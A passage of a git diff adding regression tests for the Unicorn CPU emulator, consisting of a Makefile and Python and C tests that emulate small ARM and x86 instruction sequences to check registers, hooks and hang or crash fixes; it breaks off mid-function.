TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/Makefile b/ai_anti_malware/unicorn/unicorn-master/tests/regress/Makefile new file mode 100644 index 0000000..49f0dfe --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/Makefile @@ -0,0 +1,23 @@ +CFLAGS += -Wall -Werror -I../../include +CFLAGS += -D__USE_MINGW_ANSI_STDIO=1 +LDLIBS += -L../../ -lm -lunicorn + +UNAME_S := $(shell uname -s) +LDLIBS += -pthread +ifeq ($(UNAME_S), Linux) +LDLIBS += -lrt +endif + +EXECUTE_VARS = LD_LIBRARY_PATH=../../cmocka/src:../../ DYLD_LIBRARY_PATH=../../ + +TESTS_SOURCE = $(wildcard *.c) +TESTS = $(TESTS_SOURCE:%.c=%) + +.PHONY: all clean test + +test: $(TESTS) + +all: $(TESTS) + +clean: + rm -f $(TESTS) diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm64_reg_rw_w0_w30.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm64_reg_rw_w0_w30.py new file mode 100644 index 0000000..fc34ea4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm64_reg_rw_w0_w30.py @@ -0,0 +1,30 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.arm64_const import * +from unicorn.x86_const import * + +import regress + +class Arm64RegReadWriteW0ThroughW30(regress.RegressTest): + """ + Testing the functionality to read/write 32-bit registers in AArch64 + See issue #716 + """ + + def runTest(self): + uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM) + + uc.reg_write(UC_ARM64_REG_X0, 0x1234567890abcdef) + self.assertEquals(uc.reg_read(UC_ARM64_REG_X0), 0x1234567890abcdef) + self.assertEquals(uc.reg_read(UC_ARM64_REG_W0), 0x90abcdef) + + uc.reg_write(UC_ARM64_REG_X30, 0xa1b2c3d4e5f6a7b8) + self.assertEquals(uc.reg_read(UC_ARM64_REG_W30), 0xe5f6a7b8) + + uc.reg_write(UC_ARM64_REG_W30, 0xaabbccdd) + self.assertEquals(uc.reg_read(UC_ARM64_REG_X30), 0xa1b2c3d4aabbccdd) + self.assertEquals(uc.reg_read(UC_ARM64_REG_W30), 0xaabbccdd) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_apsr_access.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_apsr_access.py new file mode 100644 index 0000000..33c10fd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_apsr_access.py @@ -0,0 +1,30 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.arm_const import * + +import regress + +class APSRAccess(regress.RegressTest): + + def runTest(self): + code = ( + b'\x00\x00\xa0\xe1' + # 0: mov r0, r0 + b'\x08\x10\x9f\xe5' + # 4: ldr r1, [pc, #8] + b'\x01\xf0\x28\xe1' + # 8: 01 f0 28 e1 msr apsr_nzcvq, r1 + b'\x00\x00\xa0\xe1' + # c: mov r0, r0 + b'\x00\x00\xa0\xe1' + # 10: mov r0, r0 + b'\x00\x00\x00\xff') # 14: data for inst @4 + + uc = Uc(UC_ARCH_ARM, UC_MODE_ARM) + uc.mem_map(0x1000, 0x1000) + uc.mem_write(0x1000, code) # bxeq lr; mov r0, r0 + + uc.reg_write(UC_ARM_REG_APSR, 0) + uc.emu_start(0x1000, 0x100c) + + self.assertEqual(uc.reg_read(UC_ARM_REG_APSR), 0xf8000000) + self.assertEqual(uc.reg_read(UC_ARM_REG_APSR_NZCV), 0xf0000000) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bx_unmapped.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bx_unmapped.py new file mode 100644 index 0000000..e18d345 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bx_unmapped.py @@ -0,0 +1,93 @@ +from __future__ import print_function +from unicorn import * +from unicorn.arm_const import * +import regress + +# code to be emulated +''' +ins = { + 0x00008cd4: """ + push {r11} + add r11, sp, #0 + mov r3, pc + mov r0, r3 + sub sp, r11, #0 + pop {r11} + bx lr + """, + 0x00008cf0: """ + push {r11} + add r11, sp, #0 + push {r6} + add r6, pc, $1 + bx r6 + .code 16 + mov r3, pc + add r3, $0x4 + push {r3} + pop {pc} + .code 32 + pop {r6} + mov r0, r3 + sub sp, r11, #0 + pop {r11} + bx lr + """, + 0x00008d20: """ + push {r11} + add r11, sp, #0 + mov r3, lr + mov r0, r3 + sub sp, r11, #0 + pop {r11} + bx lr + """, + 0x00008d68: "bl 0x8cd4\n" + "mov r4, r0\n" + "bl 0x8cf0\n" + "mov r3, r0\n" + "add r4, r4, r3\n" + "bl 0x8d20\n" + "mov r3, r0\n" + "add r2, r4, r3", +} +''' + +class BxTwiceTest(regress.RegressTest): + def runTest(self): + ADDRESS = 0x8000 + MAIN_ADDRESS = 0x8d68 + STACK_ADDR = ADDRESS + 0x1000 + + code = { + 0x8cf0: '\x04\xb0-\xe5\x00\xb0\x8d\xe2\x04`-\xe5\x01`\x8f\xe2\x16\xff/\xe1{F\x03\xf1\x04\x03\x08\xb4\x00\xbd\x00\x00\x04`\x9d\xe4\x03\x00\xa0\xe1\x00\xd0K\xe2\x04\xb0\x9d\xe4\x1e\xff/\xe1', + 0x8d20: '\x04\xb0-\xe5\x00\xb0\x8d\xe2\x0e0\xa0\xe1\x03\x00\xa0\xe1\x00\xd0K\xe2\x04\xb0\x9d\xe4\x1e\xff/\xe1', + 0x8cd4: '\x04\xb0-\xe5\x00\xb0\x8d\xe2\x0f0\xa0\xe1\x03\x00\xa0\xe1\x00\xd0K\xe2\x04\xb0\x9d\xe4\x1e\xff/\xe1', + 0x8d68: '\xd9\xff\xff\xeb\x00@\xa0\xe1\xde\xff\xff\xeb\x000\xa0\xe1\x03@\x84\xe0\xe7\xff\xff\xeb\x000\xa0\xe1\x03 \x84\xe0' + } + + try: + mu = Uc(UC_ARCH_ARM, UC_MODE_ARM) + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + for addr, c in code.items(): + print("Writing chunk to 0x{:x}".format(addr)) + mu.mem_write(addr, c) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_SP, STACK_ADDR) + + print("Starting emulation") + + # emulate code in infinite time & unlimited instructions + mu.emu_start(MAIN_ADDRESS, MAIN_ADDRESS + len(code[MAIN_ADDRESS])) + + print("Emulation done") + + r2 = mu.reg_read(UC_ARM_REG_R2) + print(">>> r2: 0x{:08x}".format(r2)) + + except UcError as e: + self.fail("ERROR: %s" % e) diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bxeq_hang.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bxeq_hang.py new file mode 100644 index 0000000..5040d72 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_bxeq_hang.py @@ -0,0 +1,28 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.arm_const import * + +import regress + +class BxHang(regress.RegressTest): + + def runTest(self): + uc = Uc(UC_ARCH_ARM, UC_MODE_ARM) + uc.mem_map(0x1000, 0x1000) + uc.mem_write(0x1000, '1eff2f010000a0e1'.decode('hex')) # bxeq lr; mov r0, r0 + uc.count = 0 + + def hook_block(uc, addr, *args): + print 'enter block 0x%04x' % addr + uc.count += 1 + + uc.reg_write(UC_ARM_REG_LR, 0x1004) + uc.hook_add(UC_HOOK_BLOCK, hook_block) + print 'block should only run once' + uc.emu_start(0x1000, 0x1004) + + self.assertEqual(uc.count, 1) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_enable_vfp.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_enable_vfp.c new file mode 100644 index 0000000..aebcd98 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_enable_vfp.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include + +#define ADDRESS 0x1000 +#define ARM_VMOV "\xC0\xEF\x10\x00" // VMOV.I32 D16, #0 ; Vector Move + +int main() +{ + uc_engine *uc; + uc_err err; + + err = uc_open(UC_ARCH_ARM, UC_MODE_ARM, &uc); + if (err) { + printf("uc_open %d\n", err); + return 1; + } + + uint64_t tmp_val; + + err = uc_reg_read(uc, UC_ARM_REG_C1_C0_2, &tmp_val); + if (err) { + printf("uc_open %d\n", err); + return 1; + } + + tmp_val = tmp_val | (0xf << 20); + err = uc_reg_write(uc, UC_ARM_REG_C1_C0_2, &tmp_val); + if (err) { + printf("uc_open %d\n", err); + return 1; + } + + size_t enable_vfp = 0x40000000; + err = uc_reg_write(uc, UC_ARM_REG_FPEXC, &enable_vfp); + if (err) { + printf("uc_open %d\n", err); + return 1; + } + + err = uc_mem_map(uc, ADDRESS, 4 * 1024, UC_PROT_ALL); + if (err) { + printf("uc_mem_map %d\n", err); + return 1; + } + + err = uc_mem_write(uc, ADDRESS, ARM_VMOV, sizeof(ARM_VMOV) - 1); + if (err) { + printf("uc_mem_map %s\n", uc_strerror(err)); + return 1; + } + + err = uc_emu_start(uc, ADDRESS, 0, 0, 1); + if (err) { + printf("uc_emu_start: %s\n", uc_strerror(err)); + return 1; + } + + printf("Success\n"); + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_fp_vfp_disabled.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_fp_vfp_disabled.py new file mode 100644 index 0000000..b8003a3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_fp_vfp_disabled.py @@ -0,0 +1,44 @@ +#!/usr/bin/python +# coding=utf8 + +# Added by Peter Mackay, relating to issue 571 +# "ARM NEON/VFP support seems to exist but is disabled by default" +# https://github.com/unicorn-engine/unicorn/issues/571 + +from unicorn import * +from unicorn.arm_const import * + +import regress + +class FpVfpDisabled(regress.RegressTest): + + def runTest(self): + # MRC p15, #0, r1, c1, c0, #2 + # ORR r1, r1, #(0xf << 20) + # MCR p15, #0, r1, c1, c0, #2 + # MOV r1, #0 + # MCR p15, #0, r1, c7, c5, #4 + # MOV r0,#0x40000000 + # FMXR FPEXC, r0 + code = '11EE501F' + code += '41F47001' + code += '01EE501F' + code += '4FF00001' + code += '07EE951F' + code += '4FF08040' + code += 'E8EE100A' + # vpush {d8} + code += '2ded028b' + + address = 0x1000 + mem_size = 0x1000 + code_bytes = code.decode('hex') + + uc = Uc(UC_ARCH_ARM, UC_MODE_THUMB) + uc.mem_map(address, mem_size) + uc.mem_write(address, code_bytes) + uc.reg_write(UC_ARM_REG_SP, address + mem_size) + uc.emu_start(address + 1, address + len(code_bytes)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_init_input_crash.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_init_input_crash.py new file mode 100644 index 0000000..ecafbfd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_init_input_crash.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python +# Sample code for ARM of Unicorn. Nguyen Anh Quynh +# Python sample ported by Loi Anh Tuan +# + + +from __future__ import print_function +from unicorn import * +from unicorn.arm_const import * + + +# code to be emulated +ARM_CODE = "\x37\x00\xa0\xe3\x03\x10\x42\xe0" # mov r0, #0x37; sub r1, r2, r3 +THUMB_CODE = "\x83\xb0" # sub sp, #0xc +# memory address where emulation starts +ADDRESS = 0xF0000000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size)) + + +# Test ARM +def test_arm(): + print("Emulate ARM code") + try: + # Initialize emulator in ARM mode + mu = Uc(UC_ARCH_ARM, UC_MODE_ARM) + + mem_size = 2 * (1024 * 1024) + mu.mem_map(ADDRESS, mem_size) + + stack_address = ADDRESS + mem_size + stack_size = stack_address # >>> here huge memory size + mu.mem_map(stack_address, stack_size) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, ARM_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_R0, 0x1234) + mu.reg_write(UC_ARM_REG_R2, 0x6789) + mu.reg_write(UC_ARM_REG_R3, 0x3333) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r0 = mu.reg_read(UC_ARM_REG_R0) + r1 = mu.reg_read(UC_ARM_REG_R1) + print(">>> R0 = 0x%x" %r0) + print(">>> R1 = 0x%x" %r1) + + except UcError as e: + print("ERROR: %s" % e) + + +def test_thumb(): + print("Emulate THUMB code") + try: + # Initialize emulator in thumb mode + mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, THUMB_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_SP, 0x1234) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(THUMB_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + sp = mu.reg_read(UC_ARM_REG_SP) + print(">>> SP = 0x%x" %sp) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_arm() + print("=" * 20) + test_thumb() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_movr12_hang.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_movr12_hang.py new file mode 100644 index 0000000..1bb276e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_movr12_hang.py @@ -0,0 +1,32 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.arm_const import * + +import regress + +class MovHang(regress.RegressTest): + + def runTest(self): + uc = Uc(UC_ARCH_ARM, UC_MODE_ARM) + uc.mem_map(0x1000, 0x1000) + uc.mem_write(0x1000, '00c000e3'.decode('hex')) # movw r12, #0 + + def hook_block(uc, addr, *args): + print 'enter block 0x%04x' % addr + uc.count += 1 + + uc.reg_write(UC_ARM_REG_R12, 0x123) + self.assertEquals(uc.reg_read(UC_ARM_REG_R12), 0x123) + + uc.hook_add(UC_HOOK_BLOCK, hook_block) + uc.count = 0 + + #print 'block should only run once' + uc.emu_start(0x1000, 0x1004, timeout=500) + + self.assertEquals(uc.reg_read(UC_ARM_REG_R12), 0x0) + self.assertEquals(uc.count, 1) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_vldr_invalid.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_vldr_invalid.py new file mode 100644 index 0000000..febf93e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_vldr_invalid.py @@ -0,0 +1,18 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.arm_const import * + +import regress + +class VldrPcInsn(regress.RegressTest): + + def runTest(self): + uc = Uc(UC_ARCH_ARM, UC_MODE_ARM) + uc.mem_map(0x1000, 0x1000) + uc.mem_write(0x1000, 'ed9f8a3d'.decode('hex')) # vldr s16, [pc, #244] + # this will raise invalid insn + uc.emu_start(0x1000, 0x1004) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/bad_ram.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/bad_ram.py new file mode 100644 index 0000000..a74fa49 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/bad_ram.py @@ -0,0 +1,30 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.x86_const import * + +import regress + + +class Hang(regress.RegressTest): + + def runTest(self): + PAGE_SIZE = 0x5000 + CODE_ADDR = 0x400000 + RSP_ADDR = 0x200000 + binary1 = "\xCA\x24\x5D" # retf 0x5d24 + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + mu.mem_map(CODE_ADDR, PAGE_SIZE) + mu.mem_map(RSP_ADDR, PAGE_SIZE) + + mu.mem_write(CODE_ADDR, binary1) + mu.reg_write(UC_X86_REG_RSP, RSP_ADDR) + try: + self.assertEqual(mu.emu_start(CODE_ADDR, CODE_ADDR + PAGE_SIZE, 0), UC_ERR_FETCH_INVALID) + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/block_test.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/block_test.c new file mode 100644 index 0000000..5af825f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/block_test.c @@ -0,0 +1,82 @@ +#include +#include +#include + +#include + +static int count = 1; + +// Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) +// @address: address where the code is being executed +// @size: size of machine instruction being executed +// @user_data: user data passed to tracing APIs. +void cb_hookblock(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + fprintf(stderr, "# >>> Tracing basic block at 0x%"PRIx64", block size = 0x%x\n", address, size); + if (address != 0x1000000 && address != 0x1000200) { + fprintf(stderr, "not ok %d - address != 0x1000000 && address != 0x1000200\n", count++); + _exit(1); + } + fprintf(stderr, "ok %d - address (0x%x) is start of basic block\n", count++, (uint32_t)address); + if (size != 0x200) { + fprintf(stderr, "not ok %d - basic block size != 0x200\n", count++); + _exit(1); + } + fprintf(stderr, "ok %d - basic block size is correct\n", count++); +} + +int main() { + uc_engine *uc; + + fprintf(stderr, "# basic block callback test\n"); + fprintf(stderr, "# there are only two basic blocks 0x1000000-0x10001ff and 0x1000200-0x10003ff\n"); + + uc_err err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_open\n", count++); + + err = uc_mem_map(uc, 0x1000000, 4096, UC_PROT_ALL); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_mem_map\n", count++); + + uint8_t code[1024]; + //build a program that consists of 1019 nops followed by a jump -512 + //this program contains exactly 2 basic blocks, a block of 512 nops, followed + //by a loop body containing 507 nops and jump to the top of the loop + //the first basic block begins at address 0x1000000, and the second + //basic block begins at address 0x1000200 + memset(code, 0x90, sizeof(code)); + memcpy(code + 1024 - 5, "\xe9\x00\xfe\xff\xff", 5); + + err = uc_mem_write(uc, 0x1000000, code, sizeof(code)); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_mem_write\n", count++); + + uc_hook h1; + + err = uc_hook_add(uc, &h1, UC_HOOK_BLOCK, cb_hookblock, NULL, 1, 0); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_hook_add\n", count++); + + err = uc_emu_start(uc, 0x1000000, 0x1000000 + sizeof(code), 0, 1030); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_emu_start\n", count++); + + fprintf(stderr, "ok %d - Done", count++); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/callback-pc.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/callback-pc.py new file mode 100644 index 0000000..77f4e5a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/callback-pc.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python + +# reg_write() can't modify PC from within trace callbacks +# issue #210 + +from __future__ import print_function +from unicorn import * +from unicorn.arm_const import * + +import regress + +BASE_ADDRESS = 0x10000000 + +# sub sp, #0xc +THUMB_CODE = "\x83\xb0" * 5 + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = %u" % (address, size)) + mu = user_data + print(">>> Setting PC to 0xffffffff") + mu.reg_write(UC_ARM_REG_PC, 0xffffffff) + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + mu = user_data + print(">>> Setting PC to 0xffffffff") + mu.reg_write(UC_ARM_REG_PC, 0xffffffff) + +class CallBackPCTest(regress.RegressTest): + + def test_instruction_trace(self): + try: + # initialize emulator in ARM's Thumb mode + mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB) + + # map some memory + mu.mem_map(BASE_ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(BASE_ADDRESS, THUMB_CODE) + + # setup stack + mu.reg_write(UC_ARM_REG_SP, BASE_ADDRESS + 2 * 1024 * 1024) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code, user_data=mu) + + # emulate one instruction + mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(THUMB_CODE), count=1) + + # the instruction trace callback set PC to 0xffffffff, so at this + # point, the PC value should be 0xffffffff. + pc = mu.reg_read(UC_ARM_REG_PC) + self.assertEqual(pc, 0xffffffff, "PC not set to 0xffffffff by instruction trace callback") + + except UcError as e: + self.assertFalse(0, "ERROR: %s" % e) + + def test_block_trace(self): + try: + # initialize emulator in ARM's Thumb mode + mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB) + + # map some memory + mu.mem_map(BASE_ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(BASE_ADDRESS, THUMB_CODE) + + # setup stack + mu.reg_write(UC_ARM_REG_SP, BASE_ADDRESS + 2 * 1024 * 1024) + + # trace blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block, user_data=mu) + + # emulate one instruction + mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(THUMB_CODE), count=1) + + # the block callback set PC to 0xffffffff, so at this point, the PC + # value should be 0xffffffff. + pc = mu.reg_read(UC_ARM_REG_PC) + self.assertEqual(pc, 0xffffffff, "PC not set to 0xffffffff by block callback") + + except UcError as e: + self.assertFalse(0, "ERROR: %s" % e) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/crash_tb.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/crash_tb.py new file mode 100644 index 0000000..9ecf61c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/crash_tb.py @@ -0,0 +1,37 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.x86_const import * + +import regress + +CODE_ADDR = 0x0 +binary1 = b'\xb8\x02\x00\x00\x00' +binary2 = b'\xb8\x01\x00\x00\x00' + +class CrashTB(regress.RegressTest): + + def runTest(self): + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + mu.mem_map(CODE_ADDR, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(CODE_ADDR, binary1) + + # emu for maximum 1 sec. + mu.emu_start(CODE_ADDR, len(binary1), UC_SECOND_SCALE) + + self.assertEqual(0x2, mu.reg_read(UC_X86_REG_RAX)) + + # write machine code to be emulated to memory + mu.mem_write(CODE_ADDR, binary2) + + # emu for maximum 1 sec. + mu.emu_start(CODE_ADDR, len(binary2), UC_SECOND_SCALE) + + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_RAX)) + +if __name__ == '__main__': + regress.main() + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/deadlock_1.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/deadlock_1.py new file mode 100644 index 0000000..269a573 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/deadlock_1.py @@ -0,0 +1,20 @@ +#!/usr/bin/python +# From issue #1 of Ryan Hileman + +from unicorn import * +import regress + +CODE = b"\x90\x91\x92" + +class DeadLock(regress.RegressTest): + + def runTest(self): + mu = Uc(UC_ARCH_X86, UC_MODE_64) + mu.mem_map(0x100000, 4 * 1024) + mu.mem_write(0x100000, CODE) + + with self.assertRaises(UcError): + mu.emu_start(0x100000, 0x1000 + len(CODE)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_noset.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_noset.c new file mode 100644 index 0000000..7f1b971 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_noset.c @@ -0,0 +1,126 @@ +#include +#include +#include + +#include + +#define X86_CODE32 "\x9C\x68\xFF\xFE\xFF\xFF\x9D\x9C\x58\x9D" // pushf; push ffffffeff; popf; pushf; pop eax; popf +#define ADDRESS 0x1000000 +#define PAGE_8K (1 << 13) +#define PAGE_4K (1 << 12) +#define TARGET_PAGE_MASK ~(PAGE_4K - 1) +#define TARGET_PAGE_PREPARE(addr) (((addr) + PAGE_4K - 1) & TARGET_PAGE_MASK) +#define TARGET_PAGE_ALIGN(addr) (addr - (TARGET_PAGE_PREPARE(addr) - addr) & TARGET_PAGE_MASK) + +#if defined(__i386__) +typedef uint32_t puint; +#define PRIX3264 PRIX32 +#else +typedef uint64_t puint; +#define PRIX3264 PRIX64 +#endif + +uint32_t realEflags() +{ + puint val = 0; + +#if defined(__i386__) + puint i = 0xFFFFFEFF; //attempt to set ALL bits except trap flag. + + __asm__("pushf\n\t" + "push %0\n\t" + "popf\n\t" + "pushf\n\t" + "pop %0\n\t" + "popf" + : "=r"(val) + : "r"(i) + : "%0"); +#elif defined(__x86_64__) + puint i = 0xFFFFFEFF; //attempt to set ALL bits except trap flag. + + __asm__("pushfq\n\t" + "pushq %0\n\t" + "popfq\n\t" + "pushfq\n\t" + "popq %0\n\t" + "popfq" + : "=r"(val) + : "r"(i) + : "%0"); +#endif + + printf("Real system eflags: 0x%08"PRIX3264"\n", val); + + return (uint32_t)val & 0xFFFFFFFF; +} + +static void VM_exec() +{ +#if defined(__i386__) || defined(__x86_64__) + uc_engine *uc; + uc_err err; + unsigned int r_eax, eflags, r_esp, realflags = 0; + + r_eax = 0; + r_esp = ADDRESS+0x100; //some safe distance from main code. + eflags = 0x00000206; + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if(err) + { + printf("Failed on uc_open() with error returned: %s\n", uc_strerror(err)); + return; + } + + err = uc_mem_map(uc, ADDRESS, (2 * 1024 * 1024), UC_PROT_ALL); + if(err != UC_ERR_OK) + { + printf("Failed to map memory %s\n", uc_strerror(err)); + return; + } + + // write machine code to be emulated to memory + err = uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1); + if(err != UC_ERR_OK) + { + printf("Failed to write emulation code to memory, quit!: %s(len %lu)\n", uc_strerror(err), (unsigned long)sizeof(X86_CODE32) - 1); + return; + } + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_EAX, &r_eax); + uc_reg_write(uc, UC_X86_REG_ESP, &r_esp); //make stack pointer point to already mapped memory so we don't need to hook. + uc_reg_write(uc, UC_X86_REG_EFLAGS, &eflags); + + // emulate machine code in infinite time + err = uc_emu_start(uc, ADDRESS, ADDRESS + (sizeof(X86_CODE32) - 1), 0, 0); + if(err) + { + printf("Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + + uc_close(uc); + return; + } + + uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); + uc_reg_read(uc, UC_X86_REG_EFLAGS, &eflags); + + uc_close(uc); + + printf(">>> Emulation done. Below is the CPU context\n"); + printf(">>> EAX = 0x%08X\n", r_eax); + printf(">>> EFLAGS = 0x%08X\n", eflags); + + realflags = realEflags(); + + assert(r_eax == realflags); +#endif +} + +int main(int argc, char *argv[]) +{ + VM_exec(); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_nosync.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_nosync.c new file mode 100644 index 0000000..37b7950 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_nosync.c @@ -0,0 +1,182 @@ +#include +#include +#include + +#include + +#define X86_CODE32 "\x33\xD2\x8A\xD4\x8B\xC8\x81\xE1\xFF\x00\x00\x00" // XOR edx,edx; MOV dl,ah; MOV ecx,eax; AND ecx,FF +#define ADDRESS 0x1000000 +#define PAGE_8K (1 << 13) +#define PAGE_4K (1 << 12) +#define TARGET_PAGE_MASK ~(PAGE_4K - 1) +#define TARGET_PAGE_PREPARE(addr) (((addr) + PAGE_4K - 1) & TARGET_PAGE_MASK) +#define TARGET_PAGE_ALIGN(addr) ((addr - (TARGET_PAGE_PREPARE(addr) - addr)) & TARGET_PAGE_MASK) + +static uint64_t instructions = 0; + +static void hook_ins(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + instructions++; +} + +static bool 